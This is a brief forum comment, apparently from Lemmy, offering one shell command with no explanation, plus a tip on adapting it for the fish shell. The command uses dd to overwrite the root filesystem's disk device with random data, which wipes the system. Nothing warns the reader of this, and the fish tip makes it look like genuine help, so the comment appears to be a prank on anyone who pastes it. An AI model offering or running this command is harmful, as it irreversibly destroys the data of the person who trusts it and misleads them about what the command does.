• cogman@lemmy.world
    link
    fedilink
    arrow-up
    20
    ·
    edit-2
    1 day ago

    sudo dd if=/dev/urandom of=$(df | grep '\s/$' | cut -d' ' -f1)

    (Omit the $ if you are using the fish terminal)